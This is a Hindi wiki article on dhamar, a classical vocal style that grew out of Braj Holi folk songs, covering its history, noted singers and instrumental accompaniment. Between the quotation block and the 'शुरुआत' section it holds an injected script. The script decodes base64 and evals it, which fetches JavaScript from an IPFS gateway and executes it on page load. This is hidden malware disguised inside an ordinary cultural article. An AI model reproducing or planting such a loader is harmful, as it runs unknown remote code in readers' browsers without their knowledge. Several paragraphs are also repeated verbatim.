धमार

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

धमार (अंग्रेज़ी: Dhamar) एक विशेष गायन शैली है जिसकी उत्पत्ति में ब्रज का बहुत महत्त्व है। होरी गायन का प्रचलन ब्रज के क्षेत्र में लोक-गीत के रूप में बहुत काल से चला आता है। इस लोकगीत में वर्ण्य-विषय राधा-कृष्ण के होली खेलने का रहता था। रस श्रृंगार था और भाषा थी ब्रज। ग्रामों के उन्मुक्त वातावरण में द्रुत गति के दीपचंदी, धुमाली और कभी अद्धा जैसी ताल में युवक-युवतियों, प्रौढ़ और वृद्धों, सभी के द्वारा यह लोकगीत गाए और नाचे जाते थे। ब्रज के संपूर्ण क्षेत्र में रसिया और होली जन-जन में व्याप्त है। लोक संगीत ही परिष्कृत होकर शास्त्रीय नियमों में बंध जाता है, तब शास्त्रीय संगीत कहलाता है। देशी गान, भाषा गान, धमार गान, ठुमरी आदि इसके उदाहरण हैं। लोक संगीत जन-जन की भावना का प्रतीक है।

Blockquote-open.gif गत एक शताब्दी में धमार के श्रेष्ठ गायक नारायण शास्री, धर्मदास के पुत्र बहराम ख़ाँ, पं. लक्ष्मणदास, गिद्धौर वाले मोहम्मद अली ख़ाँ, आलम ख़ाँ, आगरा के ग़ुलाम अब्बास ख़ाँ और उदयपुर के डागर बंधु आदि हुए हैं। ख़्याल गायकों के वर्तमान घरानों में से केवल आगरा के उस्ताद फ़ैयाज़ ख़ाँ नोम-तोम से अलाप करते थे और धमार गायन करते थे। Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शुरुआत

हमारे श्रेष्ठ आचार्यों ने इसका अनुभव किया है और लोक संगीत को नियमों में बांधकर परिष्कार करके शास्त्रीय रूप में प्रस्तुत किया है। पंद्रहवीं शताब्दी के अंत और सोलहवीं शताब्दी के प्रारंभ तक कव्वाली, ग़ज़ल गायन काफ़ी प्रचलित हो गए थे। शास्त्रीय संगीत के नाम पर ख़्याल गायकी, जिसको हम छोटा ख़्याल कहते हैं और पचास वर्ष पूर्व के संगीतज्ञ ठुमरी पद्धति का ख़्याल कहते थे, प्रचलित हो गया था। जौनपुर के शर्की सुल्तानों द्वारा ख़्याल का प्रचार-प्रसार किया गया। यह गायकी सरल थी व द्रुत गति में गाई जाती थी। जनता का आकर्षित करके मुस्लिम प्रभाव और संस्कार डाल रही थी। संभवतः इन्हीं कारणों से प्रभावित होकर मानसिंह तोमर और नायक बैजू ने धमार गायकी की नींव डाली। उन्होंने होरी नामक लोकगीत ब्रज का लिया और उसको ज्ञान की अग्नि में तपाकर ढ़ाल दिया। प्राचीन चरचरी प्रबंध के सांचे में, जो चरचरी ताल में ही गाए जाते थे। होरी गायन का प्रिय ताल आदि चाचर (चरचरी) दीपचंदी बन गया। होरी की बंदिश तो पूर्ववत रही, वह विभिन्न रागों में निबद्ध कर दी गई। गायन शैली वही लोक संगीत के आधार पर पहले विलम्बित अंत में द्रुत गति में पूर्वाधरित ताल से हट कर कहरवा ताल में होती है और श्रोता को रसाविभूत कर देती है।

विभिन्न कलाकारों का योगदान

नायक बैजू ने धमारों की रचना छोटी की। इसकी गायन शैली का आधार ध्रुपद जैसा ही रखा गया। वर्ण्य-विषय मात्र फाग से संबंधित और रस श्रृंगार था, वह भी संयोग। वियोग श्रृंगार की धमार बहुत कम प्राप्त हैं। इस शैली का उद्देश्य ही रोमांटिक वातावरण उत्पन्न करना था। ध्रुवपद की तरह आलाप, फिर बंदिश गाई जाती थी। पद गायन के बाद लय-बाँट प्रधान उपज होती थी। विभिन्न प्रकार की लयकारियों से गायक श्रोताओं को चमत्कृत करता था। पखावजी के साथ लड़ंत होती थी। सम की लुकाछिपी की जाती थी। श्रेष्ठ कलाकार गेय पदांशों के स्वर सन्निवेशों में भी अंतर करके श्रोताओं को रसमग्न करते थे। इस प्रकार धमार का जन्म हुआ और यह गायन शैली देश भर के संगीतज्ञों में फैल गई। सभी श्रेष्ठ कलाकारों ने इसे गाया। गत एक शताब्दी में धमार के श्रेष्ठ गायक नारायण शास्री, धर्मदास के पुत्र बहराम ख़ाँ, पं. लक्ष्मणदास, जिनकी रची धमारें मारकुन्नगमात में लखनदास के नाम से अंकित हैं, गिद्धौर वाले मोहम्मद अली ख़ाँ, आलम ख़ाँ, आगरा के ग़ुलाम अब्बास ख़ाँ और उदयपुर के डागर बंधु आदि हुए हैं। ख़्याल गायकों के वर्तमान घरानों में से केवल आगरा के उस्ताद फ़ैयाज़ ख़ाँ की नोम-तोम से आलाप करते थे और धमार गायन करते थे।

वाद्यों का प्रयोग

इसी प्रकार समय के साथ-साथ ही मृदंग और वीणा वादन में भी परिवर्तन होता गया। मृदंग और वीणा प्राचीन काल से ही अधिकांशतया गीतानुगत ही बजाई जाती थीं। मुक्त वादन भी होता था। मृदंग और वीणावादकों ने भी ध्रुपद और धमार गायकी के अनुरूप अपने को ढ़ाला। वीणा में ध्रुपदानुरूप आलाप, जोड़ालाप, विलम्बित लय की गतें, तान, परनें और झाला आदि बजाए गए। धमार के अनुरूप पखावजी से लय-बाँट की लड़ंत शुरू हुई। पखावजी ने भी ध्रुपद-धमार में प्रयुक्त तालों में भी अभ्यास किया, साथ संयत के लिए विभिन्न तालों और लयों की परनों को रचा। गायन शैली वही लोक संगीत के आधार पर पहले विलम्बित अंत में द्रुत गति में पूर्वाधरित ताल से हट कर कहरवा ताल में होती है और श्रोता को रसाविभूत कर देती है। वर्ण्य-विषय मात्र फाग से संबंधित और रस श्रृंगार था, वह भी संयोग। वियोग श्रृंगार को धमार बहुत कम स्थान प्राप्त हैं। ध्रुपद की तरह आलाप, फिर बंदिश गाई जाती थी। पद गायन के बाद लय-बाँट प्रधान उपज होती थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका-टिप्पणी और संदर्भ

संबंधित लेख